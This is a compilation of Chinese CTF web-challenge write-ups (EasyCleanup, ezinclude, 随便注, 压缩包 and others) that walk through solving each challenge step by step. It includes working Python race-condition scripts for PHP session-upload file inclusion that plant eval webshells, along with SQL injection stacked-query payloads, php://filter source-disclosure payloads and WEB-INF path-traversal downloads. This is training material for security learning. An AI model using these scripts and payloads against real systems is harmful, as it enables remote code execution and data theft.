[第五空间 2021]EasyCleanup
1.看到题目代码
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
分析得出,可以通过file进行文件包含构成rce,但是限制了许多字符,绕过有些困难。再次分析,通过构造url得出phpinfo()界面
http://114.115.134.72:32770/?mode=eval
http://114.115.134.72:32770/?mode=eval
http://114.115.134.72:32770/?mode=eval
2.来到phpinfo界面
根据题目cleanup猜想可能是session_upload,查看phpinfo信息
看到session.upload_progress.enabled开启,说明开启session.upload_progress功能,这个功能在我们上传文件时可以把文件上传进度和信息存储在session中。
又看到session.upload_progress.cleanup开启,说明当文件上传结束后,php将会立即清空对应session文件中的内容。所以需要条件竞争。
看到session.save_path,可以看到session文件保存路径。
看到session.use_strict_mode关闭,说明用户可以自己定义自己的sessionid。假如说sessionid=zzzz,则文件上传后会在/tmp目录下生成一个sess_zzzz的文件。
想利用session文件包含getshell,但是上传 文件后文件内容会被清空。怎么办?
于是想到了pyhton的多线程,利用多线程创建竞争条件,在还没删除时进行文件包含getshell。
直接脚本:
import io
import requests
import threading
from cffi.backend_ctypes import xrange
sessid = '0'
target = 'http://1.14.71.254:28513/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)
def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
NSSCTF{cb37fcd3-1cff-4965-b455-4ec5cdb329c5}
[鹏城杯 2022]简单的php
查看源代码
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
发现想要执行rce必须绕过正则表达式
也就是无字母数字命令执行和无参构造rce
NSSCTF{bfb142cd-1d50-4c37-b63c-051f546a235b}
[RoarCTF 2019]Easy Java
进来后看到登录框,第一时间想到弱口令
admin和admin888进去了
但是进去以后什么也没有
重新试试,点击help
出现这个页面,于是想到了文件下载,修改url
payload:filename=help.docx
访问失败,修改提交方式为post,下载成功
打开后
发现啥也没有
于是上网搜了下WEB-INF/web.xml泄露
了解到WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
尝试下,构造payload(post提交):filename=/WEB-INF/web.xml
成功下载文件
<?xml version="1.0" encoding="UTF-8"?>
-<web-app version="4.0" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee">
-<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
-<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
-<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
-<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
-<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
可以看到
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
说明这是一个Java Servlet服务端程序,后缀应为.class
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
构造payload:filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
成功下载文件
将文件进行反编译,得出一个base64编码的flag
进行base64解码后得到flag
flag{e3f6f5e5-37f2-4a28-ac68-a8ce4522412e}
[NPUCTF2020]ezinclude
拿到题目查看源码
username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>
看到提示
输入url
/?name=1
用burpsuite抓包 发现
响应中的hash值随着name参数的变化而变化,但又不完全是md5加密的值,这里看提示后,直接构造payload
name=&pass=fa25e54758d5d5c1927781a6ede89f8a
得到响应
HTTP/1.1 200 OK
Server: openresty
Date: Fri, 17 Mar 2023 02:12:09 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 165
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.33
<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>
载入flflflflag.php目录
发现找不到,用burp抓包后
HTTP/1.1 200 OK
Server: openresty
Date: Fri, 17 Mar 2023 05:44:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 241
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.33
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>
发现include 猜测是伪协议文件包含
构造payload
file=php://filter/read=convert.base64-encode/resource=flflflflag.php
得到响应
<body>
PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=include($_GET["file"])</body>
</html>
base64解码后,得到:
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
直接目录扫描:
python dirsearch.py -u http://0893bf8a-b2ee-40c3-9931-11f870f2da53.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/dict_mode_dict.txt
扫出来一个dir.php文件
可以查看源码,输入url
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php
base64解码后得到:
<?php
var_dump(scandir('/tmp'));
?>
dir.php能打印临时文件夹里的内容,因此我们要想办法把文件存到tmp文件夹中
利用 session.upload_progress 进行 session 文件包含
编写脚本
import io
import sys
import requests
import threading
host = 'http://0893bf8a-b2ee-40c3-9931-11f870f2da53.node4.buuoj.cn:81/flflflflag.php'
sessid = 'zzzz'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
跑出结果
flag{fbf56767-b195-43d8-b38c-d5a958d672c6}
[强网杯 2019]随便注
正常注入
发现过滤 行不通
看题目的源代码
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
<br></pre>
</body>
</html>
分析源代码:
1,使用了multi_query()函数,可以执行多条sql语句。
2,查询语句为 $sql=select *from `words` where id=$id
3,通过store_result()获取第一条sql语句查询结果,通过var_dump()输出,然后通过more_results()判断是否有更多的结果集,用next_result()方法获取下一个结果集继续输出。
由于select被禁了,可以使用handler代替select。
payload:
1';handler `1919810931114514` open as a;handler a read first;handler a close;#
payload就是使用handler打开1919810931114514表的句柄,然后读取句柄的第一行即flag的值,然后关闭
直接出结果
NSSCTF{ac89f14b-0958-4f1c-b4b3-8775ca4ae0ed}
做完后上网查了下wp 发现还有其他两种解法 值得学习
解法二:通过源代码可以知道图中查询语句是$sql=select *from `words` where id=$id;从名为words的表中查询id=$id的值并返回。
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
payload意思就是将原本words的名称改掉,然后把表1919810931114514改成words,并且把表1919810931114514的字段flag改成id,这样查询就变成了 select *from `1919810931114514` where flag=$id。就可以查询出flag
解法三:
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare flag from @sql;EXECUTE flag;#
PREPARE - 准备执行的声明。
EXECUTE - 执行由PREPARE语句定义的语句。
DEALLOCATE PREPARE - 发布PREPARE语句。
设置一个声明查询语句select *from 表19,使用CONCAT连接select绕过select,然后EXECUTE执行声明返回结果
[鹏城杯 2022]压缩包
查看题目代码
<?php
highlight_file(__FILE__);
function removedir($dir){
$list= scandir($dir);
foreach ($list as $value) {
if(is_file($dir.'/'.$value)){
unlink($dir.'/'.$value);
}else if($value!="."&&$value!=".."){
removedir($dir.'/'.$value);
}
}
}
function unzip($filename){
$result = [];
$zip = new ZipArchive();
$zip->open($filename);
$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
if(!is_dir($dir)){
mkdir($dir);
}
if($zip->extractTo($dir)){
foreach (scandir($dir) as $value) {
$file_ext=strrchr($value, '.');
$file_ext=strtolower($file_ext); //转换为小写
$file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext=trim($file_ext); //收尾去空
if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
removedir($dir);
}
if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
if(is_file($dir."/".$value)){
unlink($dir."/".$value);
}else{
if($value!="."&&$value!="..")
array_push($result,$value);
}
}
}
$zip->close();
unlink($filename);
return json_encode($result);
}else{
return false;
}
}
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content);
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
?>
[] [][]
首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到$_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争
将该文件压缩为1.zip
<?php
echo '11111';
file_put_contents('/var/www/html/x.php','<?php eval($_POST[cmd]);?>');
?>
直接脚本
import requests
import hashlib
import threading
import base64
url = "http://1.14.71.254:28116/"
sess=requests.session()
r = open("1.zip", "rb").read()
content = base64.b64encode(r)
data={
'content': content
}
m=hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
def write(session):
while True:
resp=session.post(url,data=data)
def read(session):
while True:
resp=session.get(url+f'static/upload/{md}/1.php')
if resp.status_code==200:
print("success")
if __name__=="__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
蚁剑连接x.php 密码是cmd 根目录得到flag